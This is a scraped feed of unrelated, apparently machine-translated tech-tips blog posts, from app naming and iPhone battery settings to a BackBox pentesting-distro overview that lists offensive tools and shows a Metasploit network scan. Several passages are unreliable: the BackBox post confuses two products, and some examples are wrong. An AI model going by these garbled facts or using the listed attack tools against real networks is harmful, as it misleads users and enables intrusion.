if you're developing a family calendar and planning app, give it a name that's easy to say and sticks in your mind. Try names like: 'Family Net' or 'Family Hub.'[2] On the other hand, a long, overly complex name will turn away potential downloaders. Something like 'New Family Calendar Application' is too long and clunky.   Include 1 or 2 popular keywords in your app title. When app-store users search for a specific type of app—whether a music streaming service, a family calendar, a flashlight, or an app to help file taxes—they'll usually type in a couple of keywords to narrow down the search. Including 1 or 2 keywords in the app's title or subtitle to ensure that your app shows up in search results.[3] So, instead of 'Famly' (as a play on \"family\") as the title, call the app something like 'Famly Calendar and Chat.'   Avoid names that are difficult to pronounce. As an app developer, you'll want your app to have a name that can be passed around by word of mouth. In order for this to happen, the app will need to have a name that's easy to pronounce. Words that you use in the app name should be either common or phonetic.[4] For example, while the name of tech company 'Coveo' looks appealing, most people struggle to pronounce it. Also avoid naming an app with an unpronounceable acronym or abbreviation.  Method 2of 3:\nLearning from Popular App Names  Give your app a creative or inventive name. Brainstorm new words if you'd rather not have a name that reflects that app's function. If you feel that giving an app a name that reflects its function feels too dry, try coming up with a short, fun word that conveys some of the energy that you want the app to have.[5] Current popular apps with creative names that don't reflect their function include: Shazam, Tinder, Squid, and Periscope. If you're struggling to come up with a new app name, check out an online website name generator. Sites like http://www.nameboy.com/ can combine words and keywords and may give you a fun idea for your app's name.   Limit your app's name to 11 characters. As a general rule of thumb, most successful app names have 11 characters or fewer.[6] App names with more than 11 characters are frequently abbreviated so that they can be read on mobile device screens. This means that your clever app name, if it exceeds 11 characters, could end with an unsightly '… .'   Name your app in line with common grammatical patterns. Current popular apps tend to follow 1 of 2 naming patterns: either 'sentence case,' where app names comprise short sentences (like 'Cut the Rope'), or 'camel-case,' where two words are lumped together (like 'Color puzzle'). Following 1 of these naming patterns will help the app name appeal to users and not confuse them.[7] App names that deviate too far from these norms tend to confuse users. For example, avoid starting your app name with a lowercase letter or inverting word order.   Give your app a name that capitalizes on current app-name trends. Look through the top dozen apps in each section of the app store of your choice. Identify 1 or 2 top naming trends, and try giving your app a name that mimics one of these trends. For example, Lyft is one of the most popular ridesharing apps. Its name is distinct because it swaps out the 'i' in 'Lift' for a y. Try the same thing with your app. Call it 'Famyly' or 'Famly.'[8] Bear in mind that trends fade quickly, and an app name that's trendy one year may seem dated and behind the times the next year.  Method 3of 3:\nProtecting Your Unique App Name  Search online to ensure you're not taking a name already in use. Millions of apps are downloaded across a handful of app stores, and you need to make sure that you're not copying a name. Also do a Google search to make sure your app isn't using the name of a company or product.[9] Keep in mind that making a minor variation to another app's name could still be a trademark infringement (not to mention that your app will be overshadowed by the more popular app).   Consult a trademark specialist with your app name. Once you've settled on a name, you need to make sure that it's not infringing on the trademark of another company, whether or not that company has its own app. A professional trademark specialist will be able to tell you if your app name, slogan, graphic, or tagline infringe on an existing trademark.[10] A great first step is to run your app's name through the Trademark Electronic Search System (TESS). This database will search through all registered trademarks and determine if your app shares a name with any. Access the TESS database through the website of the United States Patent and Trademark Office (USPTO): https://www.uspto.gov/trademark.   Trademark your app name. Once you've determined that your app name doesn't infringe on any existing trademarks, go ahead and trademark the app name. This will ensure that no other app can have a name identical or too similar to your app's name. Trademark your app under 'Class 9,' which pertains to computer and mobile phone programming.[11] You can register your trademark online through the USPTO website at: https://www.uspto.gov/trademarks-getting-started/trademark-process. Product and company names generally aren't copyrighted, so you won't need to worry about any potential copyright infringement issues.   David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqaRorJuxc6uqWaZoKU%3D\n","link":"/post/how-to-name-your-app/","section":"post","tags":null,"title":"How to Name Your App"},{"body":"PowerShell and Command Prompt (CMD) possess a lot of overlapping functions, 'stepping in' each other. But what if you specifically need to open PowerShell from the Command Prompt or a batch file? Find out how to do it right here.\nHow to open PowerShell from administrator CMD When you run any application from Command Prompt with elevated privileges for Admin, that application will also be launched with administrative privileges. The same applies to batch files - if the script is run as administrator, any applications started by the script will also be run as administrator. At this point, just type the powershell command into the Command Prompt to launch PowerShell with administrator privileges.\n(Note: On Windows 10, running the powershell command in Command Prompt will open a new PowerShell window. If you're using Windows 11, the command will work a little differently. Command Prompt launches in Windows Terminal and when If you run PowerShell from the Command Prompt, it will open in the same window.\n  How to open PowerShell from any CMD Starting PowerShell with administrative privileges from a regular, non-elevated Command Prompt window is a rather 'clumsy' way to do it. Basically, you'll need to 'wake up' PowerShell from the Command Prompt to launch another PowerShell window.\nTo do so, type or paste the command powershell start-process powershell -verb runas into the Command Prompt, and then press Enter. A new elevated PowerShell window (with administrative privileges) will appear.\nBe careful when performing any task in an enhanced PowerShell environment. Any mistake can cause your system problems.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuvM6wnKurmJq5rXnWoquhZZGZuqq6yKyrq5mknsOmec%2BroK%2BhnJq0pr%2BMn6mopV2YuqU%3D\n","link":"/post/how-to-open-powershell-with-administrative-privileges-from-cmd/","section":"post","tags":null,"title":"How to open Powershell with administrative privileges from CMD"},{"body":"The iPhone battery health status has become a hot topic in 2018, after Apple was discovered throttling speed processor iOS devices with degraded batteries to extend their life for as long as possible.\nApple answered concerns about the background behavior by releasing software updates for iOS 11 with Battery Health, which provides more information about the device's battery status and whether it affects the brand. productivity or not.\nSince then, Apple added a new option to the Battery Health feature called Optimized Battery Charging, designed to extend the overall battery life for iOS devices. When activating this option, it will learn, remember your charging habits and wait for the charger to complete until you need the iPhone.\nFor example, if you regularly charge your iPhone overnight when you sleep, the device can choose a charging limit of 80% and then wait about an hour before you wake up to charge the remaining 20%. This keeps the iPhone at optimal capacity, helps keep the battery healthy by reducing the time on the charger to 100%, which can reduce life expectancy.\nThese tips help you improve iPhone battery life Quick charging tips twice for iPhone 6, iPhone 7 How to choose to buy standard backup charger for iPhone   To turn on this new Optimized Battery Charging option, launch the Settings app on your iPhone or iPad, then scroll down and touch Battery . On the next screen, select Battery Health and turn Optimized Battery Charging on .\n  Note, the Battery Health screen has many useful additional information about the device's battery status so you can decide whether to replace it.\nPeak Performance Capability indicates that the battery supports the highest performance, so no throttling should be done during use.\nCheck this status to see if the battery has deteriorated to slow down the performance. Remember to only perform throttling when the battery is seriously degraded and no longer capable of providing enough power for the maximum operating processor.\nIf the battery is low, you will receive a message \" Your battery's health is significant degraded \" and let you know that an Apple authorized service provider can replace the battery to restore maximum performance. If the device is suddenly powered off, Performance management will be turned on automatically. However, you should note that the small Disable option will appear when this problem occurs. If you touch it, you will get the option to disable Performance management.\nAlso, on the Battery Heallth screen, you can also see the Maximum Capacity option, which provides battery data as compared to when you first purchased it. If the percentage of maximum capacity decreases, you will need to charge the iPhone more. In other words, this is the overall battery performance indicator and directly correlates with the time your iPhone uses on a single charge.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegqbautdmeZJuZpKmys8WMnJ%2BaqpeaerC6jKKnoaeemg%3D%3D\n","link":"/post/how-to-optimize-battery-charge-on-iphone/","section":"post","tags":null,"title":"How to optimize battery charge on iPhone"},{"body":"Office 365 Home offers the latest versions of Word, Excel, PowerPoint, Outlook, Publisher and Access applications. You can share your Office 365 Home subscription with 5 other people by inviting them to join your subscription. In this tutorial, TipsMake.com will show you how to share your Office 365 Home subscription with others.\nShare your Office 365 Home subscription via email or link Step 1 : First of all, activate the web browser and visit the Microsoft account page.\nStep 2 : Sign in with the Microsoft account you used to buy or sign up for Office 365.\nStep 3 : At the top of the page, you will see the Sharing tab . Please select it.\nNOTE : If the Sharing tab is not displayed, it may be because you have not signed up for Office 365 Home yet or you are trying to share an Office 365 subscription that someone shared with you!\nStep 4 : In the Share Office with your household section , click the Start sharing button .\nNOTE : Without the Start sharing button, you don't have an Office 365 subscription. Office 365 Personal cannot be shared with others.\nStep 5 : Click the Start sharing button to display Share Office with two options: Invite via email and Invite via link .\nThe Invite via email option allows you to send an Office 365 invitation to the email address of the person you want to share Office 365. Use the Invite via link option if you don't know the email addresses of others.\nRemember, the people you want to share with your Office 365 subscription should have a Microsoft account and use the same way to sign in to Office 365. If not, they need to create one.\nStep 6 : To invite a person via email, enter his or her email address (Microsoft account that person wants to use with an Office 365 subscription), then click the Invite button to send an email containing the invitation.\nSimilarly, to invite someone via the link, click the Invite via link option , copy the sharing link displayed on the screen, and then send that link via email, SMS or WhatsApp.\nStep 7 : The person you shared the email with or the link will have to click the link (if you shared via the link) or click the Accept button (when shared via email).\nStep 8 : Clicking on the link or Accept button will open You're invited Office page . Click the Get started button .\nStep 9 : Click the Get started button to enter the login screen. Sign in with the same Microsoft account where you received the invitation. If you receive an invitation via a link, be sure to sign in with your Microsoft account.\nStep 10 : You will now be redirected to the Office 365 Home page.\nTo install Office 365, click the Install Office link, click the Install button when you see a pop-up window to download the web setup, run the same, then follow the simple instructions to download and install it. put Office 365 on PC.\nIf Office 365 is already installed on your PC, simply log in with the Microsoft account email address you received the invitation to.\nStop sharing an Office 365 subscription For any reason, you want to stop sharing Office 365 with one person, complete the steps below.\nStep 1 : Go to the Sharing page and log in with the same Microsoft account that you used to sign up for Office 365.\nStep 2 : On the Sharing tab, in the Other people section (scroll down to the bottom of the page), click the Stop sharing link next to the email address.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmecCnZKielp6wpnmSb2xmoJ%2Bism6%2F1JuqnKqZpcGqu81mrqKsmGK8tbTEq6o%3D\n","link":"/post/how-to-share-an-office-365-home-subscription-with-others/","section":"post","tags":null,"title":"How to share an Office 365 Home subscription with others"},{"body":"When using the browser to surf the Web, it is easy for users to encounter ads inside containing annoying sounds. To turn off the sound of each ad, we have to click on it and most of them open on a new annoying tab. Today, the Software Tips will guide you How to turn off the sound on Chrome, Coc Coc, Firefox browser tabs\n  1. Chrome browser For Chrome browser, users have many ways to mute on the Tab depending on the needs to use.\nMute through Tab Manager Step 1: You select the icon \"Lock\" in the toolbar. At this time, a new window will appear, click on the Sound and select Mute .\n  After muting on the Tab, there will be a Speaker icon in the Tab bar. To re-enable the sound, repeat the steps above and select Allow .\n  Mute with Tab option Step 1: You right-click on the Tab that you want to mute, this time there will appear a lot of options for you. You select Mute website .\n  Step 2: Then the Speaker icon on the Tab bar is changed to Speaker crossed out .\n  Mute specified Web pages For this way, Chrome will automatically mute when you visit these Web sites.\nStep 1: You access the following path to use: chrome: // settings / content / sound\nThen in the Mute section you choose Add .\n  Step 2: Then you enter the Web sites you want to mute here and select Add to complete.\n  When you add Web pages here, when you visit them they will automatically mute.\n2. Cốc Cốc browser With Coc Coc browser using Google's Chromium core, it also has full support for muting methods on Tab.\nMute through Tab Manager You select the \"Lock\" icon on the toolbar and in the Audio section you select Mute .\n  Immediately after, on the Tab bar will appear a crossed-out Speaker icon, that means you have successfully muted. To reopen the sound, you repeat the steps above and select Allow in the Sound section .\n  Mute with Tab option Step 1: Right-click the tab that you need to mute and select Mute website .\n  Step 2: At this time, there will be a crossed-out speaker icon in the Tab bar, that means you have successfully muted.\n  Mute specified Web pages You access the following link to mute the site you want.\nCoccoc: // settings / content / sound\nAt the Mute section you choose Add .\n  Then, you proceed to add the sites that you want to mute here and click Add .\n  So when visiting these websites, Coc Coc will automatically mute them.\n3. FireFox browser For Firefox, which is not customized with many options, users can only mute via a single way as follows:\nRight-click on the Tab you want to mute and select Mute tab (M) or press the M key .\n  Thus, the software tips have instructed you on how to turn off the sound on Chrome browser tab, Coc Coc, Firefox fastest. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWLAsMHNnWSopl2YtbO7zJ5km6qfrMCmvoytmJtlk6Swbq%2FOnGSfoaKas7DE\n","link":"/post/how-to-turn-off-the-sound-on-chrome-browser-tab-coc-coc-firefox/","section":"post","tags":null,"title":"How to turn off the sound on Chrome browser tab, Coc Coc, Firefox"},{"body":"'Messages' is a messaging application developed by Google and widely used on Android devices. Google Messages is a bit of a traditional messaging application, comes with RCS features, giving users a great and stable overall experience.\nIn particular, Google Messages also supports the direct link function with PC to give users more flexible use. If you are wondering about how to use Google Messages on your computer, find out below.\nUse Google Messages on your computer Google Messages is installed as the default messaging application on many Android phones, such as the Google Pixel or Samsung Galaxy. However, the Android world is famous for its richness in experience. Each manufacturer may have separate messaging applications developed by themselves. So, in case you don't have Google Messages on your phone, just download the app from the Play Store and follow the instructions.\nStep 1: On your computer, launch any browser and visit the Google Message website.\nStep 2: At the top right of the website interface, you will find the Messages for web button, click on it.\nStep 3: A link will open, asking you to open the Google Messages app on your phone and follow the instructions below.\n  Step 4: Now open the Messages app on your phone.\nStep 5: Click the Device Pairing item from the menu of additional items that you can find in the upper right corner of the application interface.\n  Step 6: In the next window that appears, just go ahead and click on the QR code scanner button.\n  Step 7: This will open the QR code scanner, now you have to point your phone's camera at the QR code showing on the screen. Both the website and the Messages app will reload, and after a few seconds, all of your inbox should now be fully visible in the browser on the PC side.\nIt's all simply that. Hope you are succesful.\nGoogle Messages messages ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnToZxmn5%2BktK2xjKacrKuRnLK0ecCpp6Whk5bBqrvNZqanZZOkurHB056prA%3D%3D\n","link":"/post/instructions-for-using-the-google-messages-application-on-computers/","section":"post","tags":null,"title":"Instructions for using the Google Messages application on computers"},{"body":"Apple devices do not allow users to enter the wrong password too many times. If you enter the wrong password more than the specified number of times, the device will be locked. Lightly, only a few hours, heavy, a few days or even years.\nThe fact that the iPhone and iPad are locked for a short time because you have entered the wrong password may have heard you a lot. But locked for years, many people may not believe it, but this is true when recently, an iPad user shared his story on Twitter that his child had entered the wrong password. Log in to the iPad and this device has been locked to 25,536,442 minutes (about 48 years).\nWith such a long time, waiting is not possible, if you are also locked iPad, you can follow the tips below to unlock your iPad.\nHow to quickly check warranty period on iPhone / iPad without IMEI Things to know about backing up your iPhone and iPad How to change the color of the message frame on iPhone / iPad Instructions for unlocking the iPad are locked for a long time Step 1: First download and install iTunes to your computer, then connect your locked device to your computer and open iTunes.\nStep 2: After that, you need to perform an iPad (Force Starts) hot boot on your device. If you're using iPhone 8 or newer or iPad Pro 12.9 or iPad Pro 11, press quickly and release the volume up button, then press again and release the volume down button. Finally press and hold the Power button or the Side or Top button. Until you see the recovery mode display screen (recovery mode screen) successful.\n  If you are using iPhone 7 or iPhone 7 Plus, complete step 1. Then press and hold the power button (also called Side button or Top button) and volume down button until you see the screen The recovery mode image appears on the device. For iPhone 6s and below or with iPad series with Home button, you need to press and hold simultaneously the Home and Top buttons or Side button.\n  Step 3: After you have completed this step, you will see an iTunes dialog box appear on your computer asking if you want to Restore or Update the device. Now select Restore.\nITunes will then start downloading the software to your device, depending on how fast your Internet connection is. When the recovery process is complete, iTunes will restore the device and you can reset your iPad just as it was shipped.\n  Step 4: If you have a backup of iCloud or iTunes, during the iPad reset process, you can choose Restore from iCloud Backup (Restore from iCloud backup) or Restore from iTunes (Restore from version iTunes backup) and follow the instructions on the screen. Note that the device will require login with an Apple ID account.\nIf you are worried about the device may be locked as above and you still do not have a backup, please backup the device to iCloud or iTunes immediately.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ%2BhqGK2sa3DZpyrqp%2BnwG6t0Z5knaGjlq%2BtscM%3D\n","link":"/post/instructions-to-fix-ipad-errors-are-disabled/","section":"post","tags":null,"title":"Instructions to fix iPad errors are disabled"},{"body":"If you've ever used iOS's Safari browser, you'll be very tired when you want to save the image of your website, especially when you want to save multiple photos. So how to improve this?\nToday, the Network Administrator has found a solution to help you overcome this situation: using the application named Save Images - Downloader for Safari, this application is quite interesting and is free to download. So what are you hesitating for, but don't quickly own it about your device to use.\nUsage is as follows:\nStep 1:\nFirst you need to download the application to your computer to use, you can access Appstore or link below to download.\nDownload the Save Images - Downloader for Safari application Step 2:\nAfter downloading, you access the application to start, now you will see the system has 3 items available for you as shown below.\n  Step 3:\nNow you click on the word Open Safari, the system will now take you to Apple's home page, now click on the Share button in the middle of the screen, then drag right and select the Add item. Now you just need to turn on Save images to finish.\n    So you have activated, now try a page to download the test image, here I go to a cute baby photo gallery on Safari browser.\nStep 4 : You can find photos right on Safari, select the image item, then click Share\u0026gt; select Save images .\n   Now a sub-interface lists all the images found on that page displayed.\n  You can save quickly by clicking on the image and selecting Save on the top right of the screen.\n  Or press the Select button in the upper right corner, this time you can select multiple images at the same time, then click Save and you have saved all photos in the computer, saving a lot of time.\n  Hopefully, this little trick will save you time when downloading photos to your phone.\nHope you are succesful.\nSee more:\nUse Google Photos to store unlimited photos How to download photos on Instagram quickly How to choose image format when downloading on Chrome ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKqtmZi4rcWMnaawppykrqV5zK6jraGgobJuvMeoq6irXZbBbrvNnJxmrJ9ixrDB0Wabnq6ZmLJuu81moKir\n","link":"/post/instructions-to-quickly-download-multiple-photos-at-once-to-your-device-on-ios/","section":"post","tags":null,"title":"Instructions to quickly download multiple photos at once to your device on iOS"},{"body":"Any task can succeed or fail, depending on the tools at hand. For security professionals in particular, building the right toolkit can make things exponentially easier. Fortunately, with open source, you have a wide range of applications and environments at your disposal, from simple commands to complex and integrated tools.\nHowever, the problem with a partial approach is that you may miss something that can create or disrupt something, or waste you a lot of time searching for the right tools. for work. Finally, it is always a good idea to consider an operating system specifically for penetration testing (aka pentesting).\nIn the open source world, the most popular pentesting distribution is Kali Linux. However, this is not the only tool you can use. In fact, there is another version of Linux, specifically aimed at pentesting, called BackBox. BackBox is based on Ubuntu Linux, which also means you have easy access to a host of other outstanding applications besides those already available.\nWhat do you know about BackBox operating system? What is BackBox? What makes BackBox special? Install BackBox Use the BackBox What is BackBox? BackBox provides a simple way to ensure all security and network device backups are collected fully, stored securely and are available for recovery with just one click when needed. This security and network automation software also offers 1,000 other customized task automation features related to equipment maintenance, as well as dynamic warehouse management and pre-device health checks for over 160 supplier.\nWhen BackBox is connected to all devices on the network, many routine and manual procedure management procedures become automatic or scheduled to help organizations save their time and effort. like saving time, money and resources.\nWhat makes BackBox special? BackBox includes a special hacking tool kit aimed at pentesting. These testing tools include items such as:\nWeb application analysis Exploit experiment Network analysis The test for pressure Privilege escalation Vulnerability assessment Computer forensic analysis etc . Also, one of the most significant differences between Kali Linux and BackBox is the number of tools installed. While Kali Linux offers hundreds of pre-installed tools, BackBox significantly limits that number to about 70. However, BackBox still includes many tools needed to get the job done, such as:\nEttercap Msfconsole Wireshark ZAP Zenmap BeEF Browser Exploitation Sqlmap Driftnet Tcpdump Cryptcat Weevely Siege Autopsy BackBox is in development, the latest version (5.3) was released on February 18, 2019. But how to use BackBox? Let's install and find out!\nInstall BackBox If you've ever installed a Linux distribution, the BackBox installation is almost the same, with only a slight change. The BackBox is quite similar to any other setting. Download BackBox ISO, burn (burn) ISO to USB, boot from USB and click the Install icon .\nThe installer will immediately become familiar to anyone who has installed an Ubuntu or Debian version. Just because BackBox is a distribution exclusively for security administrators, doesn't mean starting and running this operating system is a difficult task. In fact, BackBox is an operating system that anyone, with any skill, can install.\n  The hardest part of installation is the Installation Type. As you can see, even this step is quite simple.\n  After installing BackBox, reboot the system, unplug the USB and wait for the login screen to appear. Please log in to the desktop and get ready to continue.\n  Use the BackBox Thanks to the Xfce desktop environment, BackBox is easy enough for new Linux users to navigate. Click the menu button in the top left corner to display the menu.\n  From the desktop menu, click on any favorites (in the left panel) or click on a category to display the relevant tools.\n  The menu items you might be interested in are:\nAnonymous - allows you to start an anonymous networking session. Auditing - the majority of pentesting tools are found here. Services - allows you to start or stop services like Apache, Bluetooth, Logkeys, Network, Polipo, SSH and Tor. Before you run any testing tools, first make sure to update and upgrade BackBox. This can be done via the GUI or the command line. If you choose to use the GUI, click the menu on the desktop, then select System\u0026gt; Software Updater . When the updater completes checking for updates, it will prompt you if a new version is available, or if a restart is needed (after the upgrade).\n  If you choose manually, open a terminal window and issue the following two commands:\nsudo apt-get update sudo apt-get upgrade -y  Many of the BackBox pentesting tools require a deep understanding of how they work, so before trying to use any specific tool, make sure you know exactly how to use them. Working with some tools (like Metasploit) is a little easier thanks to BackBox.\nTo run Metasploit, click the menu button on the desktop and click on msfconsole from favorites (the left panel). When the tool opens for the first time, you will be asked to configure a few options. Just select each of the default options provided by pressing the Enter key on the keyboard when prompted. When you see the Metasploit prompt, you can run commands like:\ndb_nmap 192.168.0/24  The above command will list all ports detected on the network map 192.168.1.x.\n  Even challenging tools like Metasploit are made much easier on BackBox than other distributions (in part because you don't have to worry about installing tools). That alone is worth using BackBox.\nAlthough the use of BackBox may not be as popular as Kali Linux, it still deserves attention. For anyone looking to perform pentest on many different environments, BackBox will make this job a lot easier than other operating systems. Try this Linux distribution and see if it will support you while conducting the security check process!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZJuZk6CvsMSMqKeeqpGptq%2BzjKywrKyVog%3D%3D\n","link":"/post/learn-about-the-backbox-operating-system/","section":"post","tags":null,"title":"Learn about the BackBox operating system"},{"body":"In this article, I will show you some new things about the networking issues of Windows Server 2008 R2.\nWindows Server 2008 R2 has been released for a while but there are many people who are still using Windows Server 2003 or maybe Windows Server 2008 for many different reasons. Each new release always comes with many new, interesting points if you have time to learn and exploit them. In Windows Server 2008 R2 too, it must be said that its new networking features are really interesting, and this article will cover that content.\nSome features in Windows Server 2008 R2 will definitely appeal to you:\nDirectAccess\nVPN Reconnect\nBranchCache\nURL based QoS\nHere we will take a look at these features.\nDirectAccess\nDirectAccess is a new remote access technique that allows domain member computers to connect to the local network without a VPN connection. You may have heard a lot of information about DirectAccess as a type of VPN connection, but in fact, DirectAccess is much more than a VPN. Microsoft has developed this technology as an alternative to VPN. So what's the difference here? Virtual Private Network allows your users to access the network when they want to access information here. In contrast, DirectAccess allows you to expand your network itself to all DirectAccess-enabled clients, so users will always connect to your local and IT networks that are always connected to DirectAccess clients. The big advantage is that, in contrast to VPN clients, DirectAccess clients are always in control, always up to date, and always comply with the desired configuration settings.\n  The only two ways to achieve that are to upgrade, because DirectAccess requires Windows Server 2008 R2 on the server side and Windows 7 Enterprise or Ultimate on the client side. You may or may not be able to upgrade the entire network infrastructure, depending on which DirectAccess form you deploy (we'll cover that in the next section).\nDirectAccess is not a specific technique, it is a collection of available techniques and is combined together under a common name 'DirectAccess'. The main techniques in DirectAccess include:\nActive Directory - The DirectAccess client and server must be members of the Active Directory domain to ensure authentication.\nGroup Policy Objects (GPOs) are used to distribute DirectAccess-related configuration settings to both DirectAccess servers and clients.\nDNS - DirectAccess uses DNS to determine which connections will be sent via the DirectAccess connection, which will be sent directly to the server on the Internet.\nPKI - DirectAccess uses computer certificate authentication and IPsec, PKI request techniques to deploy certificates.\nIPsec - DirectAccess is a secure access solution that takes advantage of both IPsec tunnel mode and IPsec transport mode to secure remote connections from DirectAccess clients to DirectAccess server and to servers located in the intranet.\nIPv6 - DirectAccess is a technology expected, this technology is built on IPv6 future network protocol. (However, with UAG, you don't need to have a native IPv6 network for DirectAccess to work on your current network.)\nSome of these techniques are available in any Windows domain. Some may or may not be used in your network. All of these techniques can be used with previous versions of Windows Server, but are used in a discrete and only way in Windows Server 2008 R2, all of which are combined to create a DirectAccess solution. .\nThe important thing here is to understand that there are two types of DirectAccess, namely: Windows DirectAccess and UAG DirectAccess. The Windows DirectAccess format for small and medium-sized businesses has only a few servers, but to use it, you must have an original Windows Server 2008 R2 domain and an IPv6 network. For large enterprise deployments, you need to use the UAG DirectAccess solution because this format is scalable and quite solid. In addition, UAG DirectAccess allows you to use DirectAccess even without deploying IPv6 and without Windows Server 2008 infrastructure (still having a Windows Server 2008 R2 machine on which UAG is installed).\nVPN Reconnect\nWhile DirectAccess is an alternative to VPN, VPN Reconnect, a new VPN technology included in Windows Server 2008 R2 is similar to other VPN protocols, such as PPTP and L2TP / IPsec. It uses the same VPN connectoID that is still used by these VPN protocols. However, the big difference between VPN and VPN Reconnect protocols is: with VPN Reconnect, the connection is automatically reset when the connection is lost. In the meantime, if the VPN connection is lost, the user will not receive a message saying that the connection is lost and asks if he wants to reconnect. Instead the software will reconnect them.\nThis method is very convenient for mobile users. For example, suppose you are using a Wireless WAN connection through an account. Now you're on the train and checking your email or working on something . Things are going on as expected, then the train goes through the tunnel section. In the Internet connection tunnel is broken because there is no radio wave. Although you are working with emails in Outlook at the same time, you still don't realize that your connection has failed (that is, VPN Reconnect connection). When the train goes out of the tunnel, the Internet is connected again and the VPN Reconnect connection is automatically reset. All of this happens in the background so users are unaware that their Internet connection is dropped during the train's passage.\nVPN Reconnect uses IKEv2, applies new features via IKEv2 mobile capabilities and multihoming techniques (techniques to increase reliability) described in RFC4555. You need to have Windows Server 2008 R2 and Windows 7 clients to use VPN Reconnect. Previous Windows versions do not have this feature.\nThere is a bit of similarity between DirectAccess and VPN Reconnect. Both of them allow connection in a way throughout the corporate network and they both automatically reconnect if the Internet connection is dropped. However, there are some significant differences:\nDirectAccess requires DirectAccess clients to be domain members and VPN Reconnect does not require that.\nDirectAccess allows connection to management servers before the user logs in, and VPN Reconnect starts when the user launches VPN connectoid to establish the initial connection.\nDirectAccess is designed to support 'end-to-edge' and 'end-to-end' security, while VPN connectoid is only designed to support 'end-to-edge' security.\nIn general, you should use VPN Reconnect for non-domain members. As for domain members, managed computers, DirectAccess is the preferred remote access technique.\nBranchCache\nBranchCache is a new technology in Windows Server 2008 R2 and Windows 7, allowing users at branch offices to access information at the main office faster than ever. The biggest problem that users at branch offices encounter is access to data at the main office over a restricted WAN connection or site-to-site VPN to the main office. This problem sometimes leads to users avoiding access to information that can help them increase productivity and add more value to the company.\nBranchCache can be used to store the main office data at the branch office. When users connect HTTP (S) or SMB (CIFS) to resources located in the main office, that data will be stored at the branch office. When another user then tries to access that data, this data will be provided from the local cache stored at the branch office. This method significantly increases data access speed because it is provided at LAN speed at branch office (Gigabit Ethernet) instead of WAN speed (still within 10 Mbps).\nBranchCache can be configured under either of the following modes:\nHosted Mode - In Hosted Mode, BranchCache works with a BranchCache server that holds cached data for all computers in the branch office. When the BranchCache client in the branch office requests data from the main office, it will access the data and then share this data with the BranchCache server. When the second host at the branch office creates a request with the same content, it will connect to the resource server at the main office to authenticate and receive the metadata to determine if the content has been changed. with what was previously cached or not. If nothing has changed, it can use data stored locally with LAN speed from Hosted Mode BranchCache at the branch office.\nDistributed Mode - In Distributed Mode, there is no BranchCache server, instead Windows 7 clients will share cached data with each other. When a Windows 7 computer at the branch office receives data via SMB or HTTP (S) from the main office, it will cache this information locally. When another Windows 7 computer at the branch office makes the request with the same content, it will authenticate with the original server and receive the metadata, then receive the data at LAN speed from the Windows 7 client. required the same content before.\nDistributed Mode is used when there are fewer than 50 computers in the branch office network. All computers need to be in the same network segment. If the branch office has more than 50 clients or has multiple network segments, you need to use Hosted Mode.\nURL based QoS\nWindows Server 2008 R2 and Windows 7 currently support Quality of Service (QoS) based URLs. This is the technology already in ISA Server and Threat Management Gateway (TMG) but now it is granted to clients and servers in the network.\nWhat's new is that IP packets containing the Differentiated Services Code Point (DSCP) value, which is the value for routers configured with DSCP values ​​can be checked to assign priority. When routers are busy, the packets will be queued and queues can be configured with the preceding high priority packets, the lower priority level.\nWith Windows Server 2008 R2 and Windows 7, you can use URL-based QoS to prioritize network traffic based on source URLs, add priorities based on IP addresses and ports. This method allows you to add control over network traffic and ensure that high priority web traffic is forwarded to low priority traffic, even when the traffic is allocated from same server. This is a big difference in performance.\nFor example, you will certainly have a large number of internal web servers that users need to access to perform their jobs. You can then assign these internal servers addresses with higher priority than external server addresses, so traffic to important internal resources will take precedence over With traffic to the server does not matter.\nConclude\nIn this article, I have shown you some of the new networking features available in Windows Server 2008 R2 and Windows 7. It's DirectAccess, a new remote access technology that helps extend your intranet. to any domain member computers no matter where these computers are located; VPN Reconnect, a great solution for non-domain member computers that need to have a VPN connection to the corporate network, allowing easy connection, without the hassle of having to reset VPN connections. ; BranchCache, a feature that allows clients at the branch office to receive content from the main office at the speed of a LAN instead of a slow WAN; URL-based QoS, which allows you to prioritize URL-based connections from which to make appropriate adjustments on web servers for network connectivity.\nncG1vNJzZmismaXArq3KnmWcp51kwLC5xGalnq9dpbyqutOsZKKmXam1pnnNnquwp6KgeqS7zaecnKyZpLtuu8VmrqKmlKTEtHnSnqmvnaJif3F8l2apaw%3D%3D\n","link":"/post/some-new-points-in-the-network-connection-of-windows-server-2008-r2/","section":"post","tags":null,"title":"Some new points in the network connection of Windows Server 2008 R2"},{"body":"Some files we delete by simply pressing the Delete button however there are some stubborn files that force us to intervene by software. Stubborn file removal tools on computers today are very popular and varied. In this article, Software Tips will introduce you to Top 5 best stubborn file deletion software.\n  1. DELETE DOCTOR   DELETE DOCTOR is the most effective protection of stubborn files on the computer today, the software is small, light and installs quickly. Although small and light, DELETE DOCTOR is full of basic to advanced features to treat stubborn files on your computer. The software has various specialized features that can be optimized for different types of stubborn files. You can use DELETE DOCTOR software on all different versions of Windows such as Windows 2000/2003 / XP / Vista / 7/8/10. Especially that the software is being released on the market for free so you can freely use without having to worry about copyright issues.\nLink Download: http://www.diskcleaners.com/files/deletedr.exe\n2. DP Shredder   DP Shredder is a software that provides many different utility tools such as: Data management, Virus removal, junk removal, application deletion and especially the stubborn files on the computer. The way DP Shredder works is because it has a multi-dimensional scanning algorithm to find out the main reason why the file could not be deleted and from that came up with a solution to handle the root. The software has a simple and user-friendly interface, currently DP Shredder has undergone many updates so the stability is also much improved. Currently DP Shredder is being provided free of charge to users so you can use it freely without worrying about copyright issues.\nLink Download: https://pendriveapps.com/downloads/DP_Shredder.zip\n3. FilExile   FilExile is well known by many users for its ability to erase all stubborn files up to 99%. FilExile software supports deleting all types of files on your computer including separate files such as dll, ocx and sys . FilExile is an open source project and has been built by many people to build it up to now. It's so powerful and has so many different features. An open source project so it will definitely be 